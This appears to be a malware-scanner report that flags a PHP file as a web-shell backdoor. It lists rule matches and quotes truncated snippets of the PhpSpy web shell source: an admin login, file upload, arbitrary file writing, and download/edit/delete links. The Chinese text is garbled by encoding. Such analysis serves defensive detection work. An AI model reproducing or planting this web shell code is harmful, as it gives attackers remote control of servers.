Hostile ^100% Download

Backdoor.PHP.WebShell.a

Web ShellWeb Shell - from files phpspy_2005_full.php, phpspy_2005_lite.php, PHPSPY.php

SHA-256f6cd35d36c440c9922e725554ef52c7acbaf44a3cc1f8d6804eead0c96083b4b

MaleculeTh

Evidence

Web Shell - from files phpspy_2005_full.php, phpspy_2005_lite.php, phpspy_2006.php, PHPSPY.php lines 1–10

1<?php
2/*
3+--------------------------------------------------------------------------+
PhpSpy Version:1.5                                                       |
Codz by Angel                                                            |
(c) 2004 Security Angel Team                                             |
http://www.4ngel.net                                                     |
======================================================================== |
Team:  http://www.4ngel.net                                              |
       http://www.bugkidz.org              …

php webshell having some kind of input and some kind of payload. restricted to small files or big ones including suspicious strings lines 46–62

54… =*/
47if($admin['check']=="1") {
if($admin['checkmode']=="1") {
/*------- session ��֤ -------*/
session_start();
if ($_GET['action'] == "logout") {
	session_destroy();
	echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$_SERVER['PHP_SELF']."\">";
	echo "<span style=\"font-size: 12px; font-family: Verdana\">ע���ɹ�......<p><a href=\"".$_SERVER['PHP_SELF']."\">������Զ��˳��򵥻������˳��������&gt;&gt;&gt;</a></span>";
	exit;
}
if ($_POST['action'] == "login") {
	$adminpass=trim($_POST['adminpass']);
	if ($adminpass==$admin['pass']) {
		$_SESSION['adminpass'] = $admin['pass'];
		echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$_SERVER['PHP_SELF']."\">";
		echo "<span sty …

Web Shell - from files phpspy_2005_full.php, phpspy_2005_lite.php, PHPSPY.php lines 262–285

⋯6 lines
268// �ϴ��ļ�
269elseif($_POST['action'] == "uploadfile") {
270	echo $msg=@copy($_FILES['uploadmyfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadmyfile']['name']."") ? "�ϴ��ɹ�!" : "�ϴ�ʧ��!";
271}
272
273// �༭�ļ�
274elseif($_POST['action'] == "doeditfile") {
275	$filename="$dir/$editfilename";
276	@$fp=fopen("$filename","w");
277	echo $msg=@fwrite($fp,$_POST['filecontent']) ? "д���ļ��ɹ�!" : "д��ʧ��!";
278	@fclose($fp);
279}
⋯6 lines

Web Shell lines 316–328

⋯4 lines
320/*===================== ִ�в��� ���� =====================*/
321
322if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {
323?>
324<table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
⋯4 lines

Webshells Auto-generated - file phpspy_2005_full.php lines 376–378

31…  nowrap valign=\"top\"><a href=\"?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."\">$fileperm</a></td>\n";
echo "  <td align=\"center\" nowrap valign=\"top\"><a href=\"?downfile=".urlencode($dir)."/".urlencode($file)."\">����</a> | <a href=\"?action=editfile&dir=".urlencode($dir)."&editfile=".urlencode($file)."\">�༭</a> | <a href=\"?dir=".urlencode($dir)."&delfile=".urlencode($dir)."/".urlencode($file)."\">ɾ��</a></td>\n";
echo "</tr …